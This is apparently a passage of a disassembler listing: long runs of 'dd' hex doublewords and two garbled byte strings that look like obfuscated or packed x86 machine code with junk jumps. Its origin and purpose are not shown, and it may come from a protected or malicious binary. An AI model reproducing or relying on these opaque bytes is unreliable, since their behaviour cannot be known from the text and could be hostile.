		dd 66F812E9h, 890FC38Bh, 5, 74F68166h, 0E9CA8BE4h, 0Ch
		dd 39951EBEh, 862D45E3h, 0A978AFE1h, 10E8h, 0EA27CF00h
		dd 0F1EC42F5h, 874D173h, 5866F78Bh, 65BB665Ah, 0E98059A9h
		dd 5850FCFh, 0BF000000h, 1CD76F2Bh, 0E181EFB5h,	23C228A2h
		dd 0F78E480h, 66F5D6BFh, 0B7E8B4BFh, 8A0F55h, 66000000h
		dd 2FFAE081h, 8DD8B960h, 0D8815463h, 6FBC8A96h,	0DEB70F61h
		dd 0E9F08B66h, 0Ah, 0A14268E8h,	0B942106Ah, 0B966C5E3h
		dd 830F137Ch, 13h, 0EE9h, 0C2147100h, 0D5C3C4E3h, 1008A3F5h
		dd 0B6339350h, 4890FE2h, 66000000h, 66D639B9h, 1A6DCF81h
		dd 7D0ADB81h, 8166096Eh, 8BDD69EEh, 0ACBB66CAh,	8B0F5674h
		dd 2, 8A5B6160h, 0D98B50EFh, 0BE95Bh, 0B9660000h, 0AB5D4F0Fh
		dd 123A3627h, 5E99Dh, 24300000h, 66D4B6F8h, 4147C381h
		dd 96C18166h, 665FB0C6h, 6D6AE681h, 0C830Fh, 7E90000h
		dd 0B5000000h, 6A659382h, 0E96077FCh, 6, 0F02E711h, 0BE90A9Eh
		dd 0B3000000h, 0DF96A9B5h, 7A5886D2h, 0F61DF3Bh, 1E8Bh
		dd 18810F00h, 0E9000000h, 13h, 0B809610h, 6B55D81Eh, 0AA351CF6h
		dd 0C811E8C4h, 0E8ED2268h, 0Dh,	0CFAD9215h, 8C9BB6B9h
		dd 0A833A11Dh, 0D4C1815Eh, 5A595C4Bh, 977C37BEh, 0FE972h
		dd 0F3600000h, 2D9CF564h, 6070FB77h, 4A72CCE9h,	0FE910h
		dd 0F89C0000h, 8BB4727Eh, 55CB5FE3h, 4290C1BCh,	1880F39h
		dd 0F5000000h, 7D75E681h, 8E96B80h, 44000000h, 0F8367551h
		dd 668B19C8h, 0D98BD88Bh, 0D8B0Fh, 8E90000h, 0AC000000h
		dd 0FDF5A719h, 66628587h, 0BB8D07BBh, 51349B29h, 0E800Fh
		dd 9E90000h, 9C000000h,	444528A2h, 59268F03h, 19810Fh
		dd 10E80000h, 0C8000000h, 10D709D2h, 0B4686A29h, 0B05777A9h
		dd 804841D7h, 0F5E4AC1h, 158Ch,	10E900h, 0FBB00000h, 562DD5ABh
		dd 64756FDCh, 66663D47h, 60604919h, 1C42C281h, 61601E4Fh
		dd 0DD806161h, 0F38B6634h, 11E960h, 0B9E80000h,	1E4BE969h
		dd 8E93BD98h, 30F667DCh, 6143CD8Ah, 0D8B78BB4h,	6E9h, 0C4F4FC00h
		dd 0E9B34C82h, 0Eh, 11D1A6C9h, 0AB51A57h, 0E9CEAE81h, 66577E32h
		dd 4375F381h, 84C9815Eh, 800718E9h, 0F560ACF0h,	38B0Fh
		dd 0F4800000h, 8E0F61D7h, 1, 0FBB70FF8h, 68D0Fh, 0E1810000h
		dd 0D22C9BBh, 0FD0BF0Fh, 383h, 0C7B70F00h, 508F60B9h, 0C38B6674h
		dd 306ABA66h, 0EE9h, 3B22F600h,	72341CE7h, 20688662h, 0F11B8D6h
		dd 586h, 0E360B900h, 8E0F3951h,	0
		dd 0FA8B6660h, 0FE8h, 226F1300h, 620DBD7Ah, 83A65B47h
		dd 0F65802E6h, 5E9h, 0C606C600h, 615E0D5Ch, 1CB1F78Bh
		dd 5A3D58BEh, 0FE96044h, 0F8000000h, 0F8299E0Ch, 39361445h
		dd 0E26EA8Eh, 6661FEABh, 7838F781h, 646FEB81h, 0F18A2AE0h
		dd 816613B6h, 0E92511CAh, 14h, 0E58F1852h, 0C6FB5D5Fh
		dd 7673403Fh, 0F741CCC6h, 6E64964Ch, 820Fh, 0D38B0000h
		dd 6E860h, 0C8D20000h, 0C26AEB93h, 58D18B66h, 9E9h, 95DC2400h
		dd 0FD22188Fh, 0E961B15Eh, 0Eh,	0F9395BE0h, 0C99C7101h
		dd 18C7FF3h, 0BA66828Eh, 8166DE3Ch, 60BD3EE7h, 9E960h
		dd 84F0000h, 0A8A871Ch,	0E94A92E0h, 0Ah, 1B1AE5B0h, 0E933DA2h
		dd 0F6194EEh, 0C8Dh, 7E900h, 40C60000h,	1D30FF70h, 0B70F617Dh
		dd 6E9C9h, 3620000h, 8C18098Dh,	0EE8F9h, 73A00000h, 0D68B99D6h
		dd 82FB5941h, 96BA1429h, 535AC78Bh, 48F0Fh, 0BA660000h
		dd 0E9585E68h, 7, 72EFEC40h, 0F96A35Bh,	1985h, 14E900h
		dd 33DA0000h, 0CD8C6B9Bh, 0E4BDDB25h, 9CEE46F9h, 62A25EBCh
		dd 81B1BB56h, 7F4DBB57h, 805852D6h, 800F00EDh, 1, 4820FF9h
		dd 66000000h, 0F85589BFh, 35D58060h, 14E9h, 0CE7D4400h
		dd 89B4887Eh, 9C19F383h, 70BDCFD1h, 0A4E71352h,	6E96100h
		dd 0CD000000h, 755C4EB8h, 0B1BE6653h, 0AEC7812Eh, 0E82BB2B0h
		dd 14h,	88826828h, 6E2EEE88h, 928774C6h, 1AB67F7h, 43D38833h
		dd 9E85Eh, 0D0CA0000h, 733332BCh, 56330CFBh, 5AC0B70Fh
		dd 0C88B665Ah, 0AE9h, 0BB7F7800h, 5A9CCC93h, 0B52ADCE3h
		dd 68FFB8FBh, 0FA8B2A0Eh, 66D78B66h, 99D5D781h,	0D933D181h
		dd 34B52A93h, 12E9h, 0DC972400h, 7ED5C25Eh, 2C925A45h
		dd 2A23C56Fh, 0FC92B9B3h, 81663CB0h, 0FE469DFh,	0E981C6B7h
		dd 4128B8F9h, 3840Fh, 0BF0F0000h, 0F2BF0FF2h, 0E860EFB7h
		dd 12h,	28764DA6h, 2D37FED9h, 72370DB0h, 5CDB7EF3h, 8C0F1B70h
		dd 0
		dd 18E0F5Bh, 0FC000000h, 0C2BF0F61h, 0BE66CB8Bh, 8E9538Eh
		dd 1E000000h, 60245840h, 664E2D1Dh, 10E9DE8Bh, 0D1000000h
		dd 0EC9CFE1Ch, 50DD1B8Bh, 8FD05366h, 8BAEB82Dh,	0F8D881F2h
		dd 0F2C2029h, 86h, 0D6816600h, 0B70F06B4h, 66CE8BC7h, 35BBD88Bh
		dd 0BB391683h, 0DE3E9C3h, 0BE953h, 0C8910000h, 7438F5E8h
		dd 0F82DCF41h, 8B665B09h, 880F60FBh, 3,	0FD8BF0Fh, 588h
		dd 5FC1BA00h, 0E86129A6h, 0Ch, 0FF811DACh, 6F92AFDBh, 10CA744Bh
		dd 0D1EEB2BFh, 0EE85A0Fh, 0FC000000h, 0A34180ACh, 3603DDF4h
		dd 0EC34C62Eh, 7387BF83h, 665E37B7h, 60CFF381h,	5810Fh
		dd 81660000h, 664571E2h, 0AA18E081h, 518EB1FCh,	5850Fh
		dd 81660000h, 5AC25ED8h, 0B70FCB8Ah, 0AE8D1h, 3F240000h
		dd 0B19E241Eh, 7735C364h, 5890Fh, 81660000h, 5FFFB8DBh
		dd 0FF08B60h, 480h, 0CAB96600h,	8A0F61A7h, 5, 63F08166h
		dd 38F0F33h, 0F000000h,	0BE66F9BFh, 0F9607FC6h,	5A22F181h
		dd 0E9615D04h, 0Fh, 20D698B1h, 2AD55634h, 0F7A0ED95h, 0E9E98665h
		dd 8, 0D6022C57h, 0DBA78F6Ah, 0A8C0Fh, 5E90000h, 10000000h
		dd 97462078h, 42B4C7B2h, 0A623E081h, 6DBB34ABh,	66750DEDh
		dd 0AE9DE8Bh, 0CA000000h, 0EC254467h, 56C63062h, 81515047h
		dd 0B356A4E6h, 0B05A5A38h, 7E9BFh, 6F990000h, 0D4C9D748h
		dd 0B866F54Fh, 0D68191F2h, 16947999h, 68C0F52h,	0F000000h
		dd 82h,	0B70F5900h, 0D08166F9h,	13E98ABFh, 80000000h, 4ADE3673h
		dd 1C9A1F94h, 46CC1D79h, 967C3C9Bh, 0FE86054h, 0F8000000h
		dd 2C23C7ECh, 5665C78Eh, 2CC42E64h, 0F96025B9h,	13E9h
		dd 4B7FC800h, 8EDCD64h,	0EB5660Ah, 394770F8h, 60413F4Dh
		dd 0D88A5A61h, 81CB8BFCh, 645555D9h, 90D7807Ah,	6286EA81h
		dd 800F0005h, 0
aBqejKflAS	db '│О╔╕©kf▀б─ъ/И',8,0
		align 10h
		dd 0C300C700h, 775B2631h, 0FD38BE9h, 8Ah, 7E900h, 75CE0000h
		dd 0D1BBF57Dh, 9BE3806Ch, 87EE8166h, 0BE6660F5h, 0E8600CD9h
		dd 11h,	0F6A5653h, 0DA97A76h, 1E419516h, 8B205336h, 830F594Fh
		dd 0
		dd 14E86161h, 98000000h, 0AC0999B4h, 739CB39Fh,	0F574BC12h
		dd 0E78B982Ch, 665FBDACh, 3865E681h, 8A5E5659h,	62B8BAEBh
		dd 0AE9244Dh, 4D000000h, 6D0DB6D3h, 0F4466F97h,	0DE8B6656h
		dd 811AEF80h, 3A5E45F6h, 0D381660Ah, 10E9768Ch,	27000000h
		dd 0C7AAB656h, 5A524181h, 0D5B68BB9h, 0E9A2A10Ah, 0Dh
		dd 432BD75Ah, 0A03BF5FDh, 0BF7080F5h, 0E9606098h, 0Dh
		dd 0CC474D31h, 0C2852790h, 2B42BAAh, 87BA660Eh,	5B526137h
		dd 0FE961h, 658E0000h, 0AE89E967h, 24832C86h, 1D9DF9EDh
		dd 8166F8C8h, 0FCCD1AD2h, 0EE850F8h, 3000000h, 0A4C20772h
		dd 5527A0FDh, 121C45B0h, 0DE8B669Fh, 66565B5Eh,	7FCD081h
		dd 66D68B5Fh, 3468E881h, 0E9F2BF0Fh, 0Ah, 2A390ADDh, 63E52BE1h
		dd 8166E823h, 0E98C63E9h, 0Ch, 0E6A43D4Dh, 4BA5DBADh, 0A8614B2Ah
		dd 1FD98056h, 0AE95Ah, 25010000h, 1F263D87h, 406E003Ch
		dd 7E8h, 6BB49200h, 0C1CC46F7h,	6058F38Bh, 3CFF381h, 0EE921AAh
		dd 0BB000000h, 9ECAC265h, 4109241Fh, 0E185A48Ah, 0BF0F616Ch
		dd 25E080F7h, 0A0D54BBBh, 5E869h, 71DC0000h, 561CF711h
		dd 0BF0F5F59h, 71BEBED3h, 0BA6601F8h, 80F9D9B7h, 8B6662F7h
		dd 0F88B66F9h, 68D0Fh, 0F6810000h, 2B2BB24Fh, 0E9BCD780h
		dd 0Dh,	0E11F813Dh, 0B8F6FF06h,	2AE0D31h, 12E850h, 0DE2D0000h
		dd 24A943F7h, 0BAE51063h, 43E30F1Dh, 0D19BA1F5h, 6860Fh
		dd 0E6810000h, 0D6DB506h, 0BE95Bh, 0B2AC0000h, 66F06F71h
		dd 256B92F3h, 3DC981E9h, 0E85AA3F2h, 14h, 0C59948D1h, 2B5778ADh
		dd 42A032C3h, 0DD6FD429h, 3727525Ch, 0DCDF8156h, 587E98B0h
		dd 0BBE68059h, 12E9h, 87F03600h, 5EF87C1Eh, 75CD5C86h
		dd 4D290DBAh, 0E83BA72Fh, 13h, 374E550Dh, 0AC3641FDh, 33784922h
		dd 6962E7B1h, 5B50AC2Ch, 0BE9h,	46B5AE00h, 0E2E73112h
		dd 9AECFDB8h, 0FE9F560h, 94000000h, 0AC4BA77Fh,	99964B61h
		dd 8D8DBFCBh, 806139E3h, 0B6BF38CBh, 0E94E34AEh, 0Bh, 0F4EE2E6Eh
		dd 0E787E3Eh, 0F4C3385h, 5E8CFBFh, 0B8000000h, 0B8AD053Bh
		dd 0F4DA8166h, 8A0F5FB4h, 3, 662BE480h,	0CF8BC28Bh, 0CE9h
		dd 0C5E0D300h, 40045D3Eh, 0E9116BCEh, 0CFC18183h, 60389B54h
		dd 0CB9CB966h, 0BF6661F8h, 0C0BA231Dh, 8B5A874Eh, 12E9D7h
		dd 44740000h, 9C7216D0h, 0B8538E00h, 58785864h,	2ED1ED2Ch
		dd 8E960h, 0B9D40000h, 59B9F83Dh, 0B70F8383h, 7BBB61D0h
		dd 0B824C3EFh, 3DE02388h, 0FF8B70Fh, 388h, 0F98B6600h
		dd 0C38129B4h, 623B5E12h, 0BE9h, 0F7E3A300h, 3AAEF52Eh
		dd 6216C0DAh, 50D2DC80h, 7288E281h, 66594A71h, 0EBBFF18Bh
		dd 0BF4A25E5h, 761B2614h, 5E9h,	19FBCE00h, 8166EA14h, 0B4DB42CFh
		dd 8166F86Dh, 0B31108D3h, 60C38B6Fh, 0F2A9E781h, 0B86638EBh
		dd 66611B54h, 0B62ED881h, 61C38B60h, 0F1D98166h, 4800F42h
		dd 66000000h, 56B5E4B9h, 0F5FE8B0h, 984h, 3860F00h, 0F000000h
		dd 0F860FAB7h, 0C5ECD081h, 66612636h, 111CC081h, 60D0B70Fh
		dd 0D88166F8h, 0F619DA7h, 38Ch,	0DF8B6600h, 0FFB8B66h
		dd 0F381C8B7h, 242E44E2h, 0B966E38Ah, 830F4EF5h, 0
		dd 2CFF7FBBh, 0F08B6622h, 860F70B7h, 1,	28D0FF9h, 0B0000000h
		dd 17860F8Dh, 0E9000000h, 12h, 2D1545DBh, 704B3B96h, 15A01B90h
		dd 28B3EB1Ah, 8B66F88Ch, 66AFB5C8h, 307CE81h, 14E9h, 38872A00h
		dd 0D5926D76h, 3825D80Eh, 0DFBAEF84h, 0F222B716h, 5E9FFh
		dd 0A9380000h, 8098DD53h, 0F60C4D6h, 681h, 8A0F00h, 61000000h
		dd 8E9h, 0E5C9D600h, 6693D529h,	6E9ECh,	5EC20000h, 0EC553BE8h
		dd 8166D88Bh, 0E8D889F6h, 0Bh, 0A86408A7h, 59090C59h, 0F7196B3h
		dd 0E95BD6BFh, 7, 83130EDEh, 604FCA3Dh,	11E9h, 0F5CDDC00h
		dd 0B400C28Bh, 9EE0E601h, 5EDD9155h, 850F1091h,	4, 28A0BA66h
		dd 5EE1B861h, 11E95EE1h, 6C000000h, 11D9E5B9h, 0A8323B2Fh
		dd 91FB8687h, 0BB62790Bh, 800FFC60h, 6,	789C381h, 0F6159BAh
		dd 785h, 0B70F6000h, 615E53CBh,	850Fh, 7E90000h, 0A1000000h
		dd 72DF765Ah, 8B668BEBh, 5860FCEh, 0BA000000h, 17CAE8AEh
		dd 0DE960F5h, 97000000h, 0CA9AE530h, 0DB977946h, 0C0F71507h
		dd 8783E881h, 57616682h, 8FD18060h, 5B616160h, 0B3E98166h
		dd 0DBBF0F0Ah, 0F8E8B1F5h, 48F0Fh, 0B2530000h, 6E95A29h
		dd 3E000000h, 5AB64611h, 3860F65h, 0F000000h, 80F5C0BFh
		dd 6E9B1F4h, 0C000000h,	8B604221h, 27BF660Fh, 0DEBB6635h
		dd 0C8816010h, 7F55555Bh, 8B6173B1h, 0E9F78AF8h, 7, 0D95CA43h
		dd 0F8243FCAh, 0B3C2CD80h, 0E181609Bh, 0A765C5Eh, 12E9h
		dd 0C229F800h, 78A87D66h, 0CE827E88h, 0FEC78155h, 617D4815h
		dd 0D860F60h, 0E8000000h, 7, 0BC805189h, 5E3FAD42h, 0CE9h
		dd 29533500h, 0DF32F05Bh, 0A7E2441Eh, 66566134h, 5A4E74BAh
		dd 0C3B70F60h, 0AE8h, 0EC78FC00h, 0A19DF547h, 0F9B7EB3h
		dd 6159C2B7h, 0AE9h, 5FC80E00h,	0D25C5D06h, 8B109415h
		dd 5EF853C8h, 2CE3C681h, 0F9605B34h, 6185E380h,	0C4EA8166h
		dd 0AE810h, 7F240000h, 503BC5B7h, 0BE598A54h, 10E960h
		dd 4A5B0000h, 0ED99A0EFh, 0D35BC25Ch, 0D1339884h, 0C281A0B4h
		dd 41EAA48Ch, 0F2805A61h, 1C870F19h, 60000000h,	12E9h
		dd 0F160E800h, 20A56E9Fh, 26BD7DEDh, 0EE3C0D9Fh, 66BAA0FAh
		dd 0E961CA8Bh, 8, 0A6418DABh, 410E5CD9h, 14E9h,	2598F600h
		dd 0D3C151F8h, 6EBE774Ah, 2B6CC696h, 0C1BF6FC6h, 49ABFB1h
		dd 3B41C47h, 218A0Fh, 0FE80000h, 3A000000h, 0B700BBBEh
		dd 455CFEDCh, 60EBD100h, 7E9079Ah, 0DF000000h, 0CF00E35Eh
		dd 565A2AF2h, 684A93BEh, 0AE95F1Eh, 14000000h, 0EA8E3936h
		dd 0FEAB0E26h, 14E911h,	887A0000h, 0EA88390h, 1B6EBD75h
		dd 0EF368256h, 0F0DEBC1Ch, 0BF0FE37Fh, 11E9F7h,	0F20A0000h
		dd 0A7F4DD17h, 0CD27C866h, 8AFFAA1Eh, 0FEC7C92h, 882h
		dd 2830F00h, 8B000000h,	0DCBF66F7h, 10E898h, 905C0000h
		dd 8065A1D7h, 0A6308200h, 0E0224D9Ah, 0BF66F37Ah, 0F859B3EFh
		dd 0F41E380h, 0E2BAC0B7h, 8134283Eh, 3D5CD5C9h,	0D7BB663Fh
		dd 1C850FD7h, 60000000h, 0F4640FB9h, 10E950h, 456D0000h
		dd 6ADC2377h, 89988A8Dh, 9058CC8Fh, 806194F3h, 6656AEE5h
		dd 4DFAC081h, 0D7A0B85Ah, 0F8F80873h, 3810FFCh,	66000000h
		dd 0BE66DF8Bh, 0FA8B314Ch, 8166FBB3h, 667DF0E1h, 76ACD881h
		dd 38E0FF5h, 80000000h,	0C4BB97F7h, 0BE4EB304h,	27711F16h
		dd 0F96CBE66h, 14E9h, 2118A400h, 0DA220FD6h, 553D1D8h
		dd 9DD38275h, 7A55113Fh, 6E916h, 79290000h, 0DB2D1860h
		dd 9E9h, 3726E500h, 5B71C665h, 0CF80DCB8h, 62D1812Eh, 66654A8Eh
		dd 8E8F38Bh, 44000000h,	61DBBF1h, 0E93E1D23h, 0Fh, 0F7279297h
		dd 4DFC68E2h, 0F3BB9F64h, 594BCA51h, 0FFEBF0Fh,	1B8Fh
		dd 0AE800h, 21A70000h, 0B001D64Bh, 0DC9EC951h, 6E9h, 7B650A00h
		dd 5A4ED958h, 0B6C1BF0Fh, 8E95Eh, 1E990000h, 91EDEC5Eh
		dd 0DE81DB05h, 46526E89h, 57F28B66h, 9F08BE66h,	5E96058h
		dd 17000000h, 0D891D65Bh, 0BE61D18Bh, 3F0A0F64h, 29C28166h
		dd 67B96028h, 604B913Ch, 55EB8166h, 0E867B8B7h,	616102BFh
		dd 5AD98B57h, 8454D081h, 820F31B5h, 2, 52F8CF8Bh, 60605AFCh
		dd 50FABF0Fh, 0D480615Ah, 0BF0F61F7h, 0DAB966F6h, 0BE9F5FDh
		dd 6B000000h, 0ECAB6419h, 741D31A8h, 0CE8BE54h,	0FB000000h
		dd 69ED9450h, 80C09485h, 0E9D67A15h, 0Eh, 15BE0C18h, 0F4C39588h
		dd 0D964D7BDh, 805AC4F2h, 0D5BBD3D6h, 0E867C289h, 10h
		dd 223265ABh, 0A4B08EDFh, 0D741ACABh, 0CCA14C98h, 0DE8h
		dd 0D60F400h, 0D5A0EE7h, 0A5547149h, 816641EEh,	5EE63DF6h
		dd 0E8EF805Fh, 9E9F9h, 9C960000h, 0D554A104h, 8B47C710h
		dd 0BEBA66C7h, 812EB1AEh, 0B4381AD7h, 0CB816651h, 0DE9207Fh
		dd 0F5000000h, 11584358h, 40E53698h, 0EA9F4D99h, 0FA8B60F8h
		dd 6820Fh, 890F0000h, 0
		dd 3F2EB861h, 8D0F0CBEh, 2, 0E58AA4B6h,	0BFA8B6F5h, 3C8779A7h
		dd 1210C981h, 0BFF87A32h, 0D935802h, 1E57B866h,	67DA8166h
		dd 7800F60h, 60000000h,	0ED59B1BBh, 0C68B6161h,	0CE8h
		dd 0C6933500h, 18A5D607h, 0E7820138h, 0EE9533Dh, 0C7000000h
		dd 59949C46h, 0E10A15D0h, 561CA90Bh, 0F95A59CDh, 0E8C38B66h
		dd 6, 7ECD87F5h, 805E250Dh, 0C1800BDCh,	8147B471h, 63DC4BC2h
		dd 0AE6CBB66h, 0BF0F7895h, 17BA66D2h, 0C181608Dh, 357B88F4h
		dd 50CDB960h, 0B70F202Ch, 0E86161C2h, 8, 385CA369h, 4D2208F5h
		dd 48B0Fh, 0B8660000h, 665A1B86h, 0E84E77B8h, 9, 0A54AE936h
		dd 3D291DC4h, 0CE868h, 288E0000h, 67B21201h, 0A66D42FCh
		dd 12E9BAFDh, 0E000000h, 100E9D70h, 20DFB426h, 871D82A7h
		dd 0AAFD1665h, 665F58DCh, 0C4AAE681h, 0FE8h, 1621D800h
		dd 374D21D1h, 11F76C32h, 20A7DEDDh, 6890Fh, 800F0000h
		dd 0
aYfTslS		db 'Yf╦TИ▀ь╧ыжг"И',7,0
		align 4
		dd 0D6E64F00h, 8DC10376h, 4EDC53B8h, 81665173h,	5A4DECD8h
		dd 13E9h, 4F050D00h, 8CE125F3h,	44966C43h, 0ECBD939Ah
		dd 0CB15D35Ah, 13E8h, 90811400h, 1E202082h, 4D0F8747h
		dd 7C31D9C5h, 9C010A35h, 5AFEB70Fh, 6616B660h, 61534FBAh
		dd 1DCA8160h, 0F358457h, 6661DBBFh, 0F5FC1BAh, 1D8Bh, 13E800h
		dd 19CE0000h, 0D385EE61h, 0F72D1C8Eh, 0C50D9EC8h, 63175899h
		dd 0F7BB6655h, 820F5FE1h, 0Ah, 5E9h, 2E6A3F00h,	840FB3F2h
		dd 0Bh,	6E9h, 9D10EB00h, 50233B6Eh, 0EE8h, 0E6D3FD00h
		dd 0B59EC092h, 2C9A4FB6h, 0E87B68B7h, 0Eh, 0CB8DE535h
		dd 837FD023h, 2FEFDF49h, 585E81E9h, 9810F5Fh, 0F000000h
		dd 38Ch, 83EA8000h, 8E8h, 12B0EC00h, 4C0B3ECBh,	58CE8BCAh
		dd 6652C78Bh, 8159C78Bh, 6C6EFAEEh, 5AC68028h, 28C0Fh
		dd 0CB30000h, 7840Fh, 60600000h, 32D88061h, 0EB815661h
		dd 2C10129Dh, 0E9CE8A58h, 7, 81BAB11Ch,	604E2FFEh, 5E8A92BAh
		dd 61C6B379h, 0DE952h, 0B16F0000h, 0F99F726Bh, 894B727Fh
		dd 5AF5ED68h, 1860F60h,	0F9000000h, 6168CC80h, 0E781DE8Ah
		dd 11381E96h, 14E9h, 595F0100h,	4D80C8B9h, 0B57EC520h
		dd 2E805396h, 49ACF3A8h, 13E892h, 4B2C0000h, 0C54061F3h
		dd 0FDB59FDEh, 0C8C66AC7h, 6DA8B807h, 7D25BF44h, 815A4820h
		dd 0EB2353C8h, 0E6816674h, 0E8B880EDh, 0E910AD03h, 0Ah
		dd 61272C6Ah, 4AE8B7ACh, 0F88AA2FEh, 0B7C88166h, 0CA8B668Eh
		dd 0CA816660h, 0F619901h, 481h,	77BE6600h, 18C0F6Eh, 0F8000000h
		dd 5E9h, 0CF8ABA00h, 0D28156DCh, 6A42D25Ah, 0F60D68Bh
		dd 0E861F9BFh, 0Eh, 5004EDB1h, 5AB5EA67h, 0D28146A2h, 14E94048h
		dd 0F000000h, 0BFCF83C5h, 60F9A6E1h, 1E565F98h,	8A12C9BDh
		dd 5EFF9BD7h, 0B966B9B2h, 850F884Bh, 1,	0BF0F50F8h, 605159CEh
		dd 0F61CF80h, 5A61D9BFh, 10810Fh, 810F0000h, 0Ah, 5E9h
		dd 2BA96000h, 60F9E6EDh, 3810Fh, 8B660000h, 11E961F0h
		dd 0EB000000h, 82BD018Dh, 1422794Bh, 102AAEA5h,	3672A082h
		dd 5BFB8B51h, 0B966C7B0h, 0E960F60Bh, 10h, 0D49E51DFh
		dd 1C0D7F7Ah, 0F8AE635Ah, 0FDA5390h, 8B615DB1h,	0DE8F1h
		dd 5E0C0000h, 7FCA4D32h, 0A8C02CDDh, 0E93DC445h, 10h, 788E179Dh
		dd 0F102E9BEh, 8398B409h, 9D807870h, 0D98BF55Fh, 0B870Fh
		dd 8E0F0000h, 5, 9FD3D2B8h, 0DE82Eh, 19B90000h,	0F0F590AAh
		dd 25A0CBCCh, 0F561C330h, 0BF0FFC59h, 6E957C3h,	34000000h
		dd 0A61EF131h, 0AE95F28h, 0A2000000h, 68C943D7h, 65C12B2Dh
		dd 0E6BF66E0h, 0E9F5F514h, 0Ch,	9282DA6Ch, 366DD224h, 273D0EE0h
		dd 18880Fh, 13E90000h, 45000000h, 7038B10Ah, 673D007h
		dd 0FAE7029h, 9E17ADEAh, 0BF664742h, 94B89AB8h,	8B1A9DF9h
		dd 0DB8160DEh, 433CCFAFh, 53D18B61h, 6967D7BFh,	810F5B5Eh
		dd 6, 8A0Fh, 9E90000h, 54000000h, 0BA5F4C6Eh, 4FE3BBAFh
		dd 8E860h, 67BB0000h, 3015966Fh, 61600BD3h, 5E858h, 0BA670000h
		dd 0B95FA5E7h, 7B9301DEh, 0CEB8615Ah, 0E977F95Bh, 0Ch
		dd 3A471BC5h, 0AB6DD989h, 92720457h, 0D2BF0F60h, 5DDFF081h
		dd 0B461167Bh, 0E85B57D4h, 10h,	5E1E9963h, 591EDECh, 4E90DDDBh
		dd 0AF7FCCC4h, 84DB8166h, 0B9605F41h, 561BDB68h, 38C0Fh
		dd 0F4800000h, 8B5261E5h, 0BF0F5ADFh, 0BE9F2h, 5700000h
		dd 49FD6FF4h, 12E17381h, 0DBBF0F52h, 8BEFE280h,	0F6EE81FAh
		dd 8B156386h, 11E9C2h, 0D7D30000h, 0D2CA6EAAh, 0B0877283h
		dd 33D792A7h, 0F3AE906h, 1680h,	11E900h, 53840000h, 0A573854Eh
		dd 9FBE3693h, 0CF081855h, 516FEDEAh, 8B5A5B51h,	0F18166C3h
		dd 7E83ED5h, 83000000h,	0D639AEB2h, 0B96657D7h,	0B65B0B84h
		dd 6800F83h, 81000000h,	0D229CBF2h, 0EE9F970h, 61000000h
		dd 0AA76BF2Eh, 0E2A1CA07h, 35FA25E2h, 0CB8A6018h, 5870Fh
		dd 0A6BE0000h, 6116EAA9h, 0D850Fh, 8E90000h, 38000000h
		dd 5E381FC2h, 51EEB546h, 0E85AF18Bh, 6,	119BE1BAh, 0E96069F9h
		dd 9, 0E6B70A9Bh, 0C64B31CEh, 880F8Fh, 61000000h, 0DF8B665Eh
		dd 8830Fh, 0FC600000h, 0F0D0D1B9h, 9EBE6170h, 602AC5A3h
		dd 61F9F0B2h, 68B932B9h, 0D78B6628h, 66F28B66h,	0F97384B9h
		dd 0FCCB8B66h, 6890Fh, 0C7810000h, 3F0F2F00h, 0FE9h, 0A6DDA900h
		dd 798D73EDh, 699FE2CCh, 0A9EB6847h, 8A0Fh, 6E90000h, 11000000h
		dd 9983CF77h, 0E96050FEh, 0Fh, 0CA37D555h, 0C2241F1h, 3F1F9F28h
		dd 0B03CBD63h, 815A61BCh, 0AEE81BDEh, 858AB97Ah, 14E824F4h
		dd 8000000h, 6C99314Ch,	0AE877A4h, 0C0AFB946h, 0C3EC74D5h
		dd 0E96A75FDh, 0Eh, 1710C54Ah, 0AF51FEEBh, 0DAFAA8h, 665FA75Ch
		dd 0B966F18Bh, 0DA8079D4h, 11E857BBh, 65000000h, 24ADF95Dh
		dd 41107FE7h, 4605CAD3h, 65951262h, 853FBA66h, 81665A58h
		dd 8B74FCE1h, 0C68056FAh, 51605A41h, 5FC38B66h,	8E9h, 0BD4A5100h
		dd 953F815Dh, 0BB666120h, 0C38B9C12h, 5FCB8B56h, 3820Fh
		dd 0D0800000h, 0B7D18BE5h, 0C68166EAh, 0BB667F52h, 7E93E52h
		dd 44000000h, 2E7C34D6h, 810FD36Ch, 4, 7A5EBF66h, 8E9h
		dd 0FEEC4100h, 0AEC8DECh, 7D99BF52h, 8E95AA8h, 7000000h
		dd 0F90B11FDh, 0F9F0A93h, 18Fh,	8166F900h, 8BD2B8DEh, 9E8F9h
		dd 24780000h, 0D1878980h, 0F5DED00h, 289h, 5B616000h, 0F85F51F8h
		dd 13E8h, 0E160F800h, 0C768901h, 0B08FBDDCh, 0B3CD8BFh
		dd 0D249EC7Ah, 58C88B66h, 8F281F8h, 0F0C73EBh, 8Eh, 6ED38100h
		dd 0E870BBC4h, 14h, 3C24A44Bh, 0C6B49F57h, 0F50AA1E2h
		dd 88CEDF62h, 97041AE4h, 98B959FCh, 0E93A7B09h,	0Fh, 51A88CF8h
		dd 0B0EB8191h, 11CCF69Bh, 0F9A49C4h, 286h, 81C28A00h, 9DDD74C7h
		dd 57B1606Ch, 0FEB96661h, 33CA8183h, 500380C0h,	0AFF18166h
		dd 81665BA8h, 604AE4D2h, 58A0Fh, 81660000h, 0E91AFCEEh
		dd 0Dh,	0A4DAE60Bh, 98551F55h, 0ADD2643Ah, 8B66610Fh, 0BF0F53F3h
		dd 0BB665ADAh, 8B668D37h, 0DA8166F2h, 8B6643F9h, 0D9BF0FCEh
		dd 10E9h, 772B0B00h, 65C2CEB9h,	0D254B8A3h, 0AAAF433Dh
		dd 0D8A0F56h, 0E9000000h, 8, 0DF96A9B5h, 7A5886D2h, 0FE860h
		dd 0FD140000h, 1FB789D0h, 97299787h, 2235248Bh,	5E8DB578h
		dd 14E9h, 79FFEF00h, 755FCDEEh,	26FCABD4h, 0C2CB6678h
		dd 0E336EEC0h, 0B70F6198h, 0F78160D2h, 5BA4268Bh, 3830Fh
		dd 8B660000h, 0BF0F61C1h, 0D18B51FEh, 0F281665Bh, 850F0B6Fh
		dd 2, 42BE80B1h, 0B87626A5h, 5BB80D44h,	630DE781h, 0D1802CA8h
		dd 0FFAB382h, 280h, 0E9F08B00h,	0Bh, 8953158Bh,	0A7D01BE0h
		dd 8AD28372h, 11E9C6h, 16160000h, 6D8AD068h, 25C5615Eh
		dd 0C97144C3h, 8180A7FEh, 4E3F68F6h, 146DB819h,	0E9501BC8h
		dd 12h,	0B5559A1Eh, 0E64B91BBh,	98090D9Ah, 0C1A589BEh
		dd 0BA5FD7DFh, 72D7E25Ch, 68E98166h, 0FE8B66EFh, 83B86660h
